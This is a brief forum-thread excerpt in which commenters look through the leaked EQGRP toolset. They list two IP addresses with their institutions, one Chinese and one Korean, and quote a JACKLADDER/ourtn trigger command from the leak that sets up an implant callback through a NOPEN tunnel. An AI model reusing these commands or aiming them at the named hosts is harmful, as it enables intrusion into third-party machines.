[fixxer]

I don't know anything about the value of this crap, but I do find it interesting to grep through looking at the IPs (which I presume are compromised machines from which they are initiating attacks). See `./bin/pyside/targets.py`

[toufka]

202.38.128.1 - http://ihep.ac.cn/ - Chinese Academy of Sciences High Energy Physics

211.40.103.194 - http://utc21.co.kr - Korea

from: https://github.com/x0rz/EQGRP/blob/master/Linux/etc/opscript...

#### JACKLADDER - triggering IN thru JACKPOP on Linux (FAINTSPIRIT) ####

### Local window, let this sit and wait: ourtn -T 202.38.128.1 -n -I -ue -O 113 -p 443 -C 211.40.103.194 127.0.0.1

### on PITCH: set up window for nopen callback -nrtun 113